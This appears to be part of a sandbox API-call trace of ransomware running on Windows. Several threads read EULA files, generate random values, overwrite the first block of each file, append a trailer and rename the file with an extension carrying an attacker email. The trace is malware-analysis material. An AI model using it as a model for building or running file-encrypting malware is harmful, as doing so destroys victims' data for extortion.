	[0088.105] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.105] WriteFile (in: hFile=0x1b4c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2afbf8d8, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2afbf8d8*=0x10d, lpOverlapped=0x0) returned 1
	[0088.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e460a0) returned 1
	[0088.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0088.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45ff8) returned 1
	[0088.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0088.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0088.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0088.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0088.109] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.109] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm"
	[0088.109] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.109] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2afbf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.109] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.110] NtQueryInformationFile (in: FileHandle=0x1b4c, IoStatusBlock=0x2afbf89c, FileInformation=0x2afbf874, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2afbf89c, FileInformation=0x2afbf874) returned 0x0
	[0088.110] NtSetInformationFile (FileHandle=0x1b4c, IoStatusBlock=0x2afbf89c, FileInformation=0x2afbf874, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.111] FlushFileBuffers (hFile=0x1b4c) returned 1
	[0093.250] CloseHandle (hObject=0x1b4c) 

Thread:
	id = 1239
	os_tid = 0x1fc8

	[0088.100] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm")) returned 0x20
	[0088.100] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm", dwFileAttributes=0x20) returned 1
	[0088.103] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b50
	[0088.103] GetFileSizeEx (in: hFile=0x1b50, lpFileSize=0x2b03fd5c | out: lpFileSize=0x2b03fd5c*=69816) returned 1
	[0088.103] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x110b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.104] ReadFile (in: hFile=0x1b50, lpBuffer=0x2b03fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b03fcdc, lpOverlapped=0x0 | out: lpBuffer=0x2b03fce0*, lpNumberOfBytesRead=0x2b03fcdc*=0x4, lpOverlapped=0x0) returned 1
	[0088.112] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0088.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0088.112] NtQuerySystemTime (in: CurrentTime=0x2b03fcbc | out: CurrentTime=0x2b03fcbc*=132251868148506724) returned 0x0
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x8fa439ce
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xf3d3f3b7
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x9ca596a
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xb16a02dd
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xccf5b5a7
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xc5ac3fc0
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xe1e304f4
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x353b6aca
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x1e8c0bed
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xc1acadcd
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x6ad94bb1
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x2349b0d2
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xbe95ca12
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xecb3925
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xdb5166d5
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x905af468
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x1e5bd39d
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x528cec29
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xc4ad8c06
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xd725bfbc
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x6df8851
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xa7401fd0
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x26e158a7
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xb7fcd798
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x1d34a408
	[0088.112] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x524ae994
	[0088.113] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xb37ae2a2
	[0088.113] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xb9cdf96b
	[0088.113] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0x52e6efbe
	[0088.113] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xd3391be0
	[0088.113] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xad9c9cc5
	[0088.113] RtlRandom (in: Seed=0x2b03fcc8 | out: Seed=0x2b03fcc8) returned 0xfebb7c72
	[0088.121] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.121] ReadFile (in: hFile=0x1b50, lpBuffer=0x4887048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b03fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesRead=0x2b03fc9c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.122] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.123] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.123] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x480d7f0
	[0088.124] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0088.124] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0088.124] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0088.124] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.124] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.124] WriteFile (in: hFile=0x1b50, lpBuffer=0x480d7f0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b03fc9c, lpOverlapped=0x0 | out: lpBuffer=0x480d7f0*, lpNumberOfBytesWritten=0x2b03fc9c*=0xc800, lpOverlapped=0x0) returned 1
	[0093.135] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x480d7f0) returned 1
	[0093.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0093.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x5059220
	[0093.161] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.161] WriteFile (hFile=0x1b50, lpBuffer=0x498e928, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b03fd1c, lpOverlapped=0x0) 

Thread:
	id = 1240
	os_tid = 0x1fcc

	[0088.121] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm")) returned 0x20
	[0088.126] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm", dwFileAttributes=0x20) returned 1
	[0088.126] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b54
	[0088.126] GetFileSizeEx (in: hFile=0x1b54, lpFileSize=0x2b0bfa28 | out: lpFileSize=0x2b0bfa28*=63101) returned 1
	[0088.126] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0xf679, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.126] ReadFile (in: hFile=0x1b54, lpBuffer=0x2b0bf9ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b0bf9a8, lpOverlapped=0x0 | out: lpBuffer=0x2b0bf9ac*, lpNumberOfBytesRead=0x2b0bf9a8*=0x4, lpOverlapped=0x0) returned 1
	[0088.128] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0088.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0088.128] NtQuerySystemTime (in: CurrentTime=0x2b0bf988 | out: CurrentTime=0x2b0bf988*=132251868148662867) returned 0x0
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x9217e689
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x167c72e8
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xdd97c8d0
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x5071658d
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xe1a4f4e9
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xad2e4423
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xb796582c
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xf5b3cc46
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x5b4b6a01
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xc45901e0
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x41c350cc
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xbea82579
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xc5f3a97
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x9c59915f
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xedb7d17b
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x907df8c4
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x743f2f47
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x24070eef
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xdd451750
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x35ee5c1c
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x8e9bfe7d
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x19df19d7
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xc9e4190a
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xa7292fd5
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x712c7c02
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x3d7f68a5
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xc349eeec
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xab3732a1
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xbc45ccb9
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xcbe7646c
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0xfbc80a94
	[0088.128] RtlRandom (in: Seed=0x2b0bf994 | out: Seed=0x2b0bf994) returned 0x3004f69e
	[0088.138] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.138] ReadFile (in: hFile=0x1b54, lpBuffer=0x4eeb010, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b0bf968, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesRead=0x2b0bf968*=0xc800, lpOverlapped=0x0) returned 1
	[0088.140] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.141] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.141] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f48918
	[0088.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0088.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781580
	[0088.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0088.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.145] WriteFile (in: hFile=0x1b54, lpBuffer=0x4f48918*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b0bf968, lpOverlapped=0x0 | out: lpBuffer=0x4f48918*, lpNumberOfBytesWritten=0x2b0bf968*=0xc800, lpOverlapped=0x0) returned 1
	[0088.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48918) returned 1
	[0088.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0088.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e46148
	[0088.157] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.158] WriteFile (in: hFile=0x1b54, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b0bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b0bf9e8*=0x10d, lpOverlapped=0x0) returned 1
	[0088.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e46260) returned 1
	[0088.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815d0) returned 1
	[0088.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e46148) returned 1
	[0088.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0088.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0088.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0088.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0088.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.162] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm"
	[0088.162] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.162] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b0bf9a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.164] NtQueryInformationFile (in: FileHandle=0x1b54, IoStatusBlock=0x2b0bf9ac, FileInformation=0x2b0bf984, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b0bf9ac, FileInformation=0x2b0bf984) returned 0x0
	[0088.164] NtSetInformationFile (FileHandle=0x1b54, IoStatusBlock=0x2b0bf9ac, FileInformation=0x2b0bf984, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.166] FlushFileBuffers (hFile=0x1b54) returned 1
	[0093.251] CloseHandle (hObject=0x1b54) 

Thread:
	id = 1241
	os_tid = 0x1fd0

	[0088.138] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm")) returned 0x20
	[0088.139] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm", dwFileAttributes=0x20) returned 1
	[0088.139] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b58
	[0088.139] GetFileSizeEx (in: hFile=0x1b58, lpFileSize=0x2b13fd54 | out: lpFileSize=0x2b13fd54*=70746) returned 1
	[0088.139] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x11456, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.139] ReadFile (in: hFile=0x1b58, lpBuffer=0x2b13fcd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b13fcd4, lpOverlapped=0x0 | out: lpBuffer=0x2b13fcd8*, lpNumberOfBytesRead=0x2b13fcd4*=0x4, lpOverlapped=0x0) returned 1
	[0088.146] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781580
	[0088.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0088.146] NtQuerySystemTime (in: CurrentTime=0x2b13fcb4 | out: CurrentTime=0x2b13fcb4*=132251868148819278) returned 0x0
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x459922ef
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x4ca7ec75
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0xf3231f1d
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0xe9a70cd4
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0xf70e0f86
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x8636788
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x3e7f8735
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x674f8cd3
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x620e74f1
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x745d589d
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x789d1224
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0xd87bff60
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x3f57d580
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x9bb62312
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x693b272b
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x9ca36334
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x4cb28682
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x615cae28
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x594c0d24
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x41c1333
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0xaf07e677
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x1ce6798f
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x7518c971
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0xe8dc3bf0
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0xb5da2dc7
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x7ed4f9c3
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x8f195315
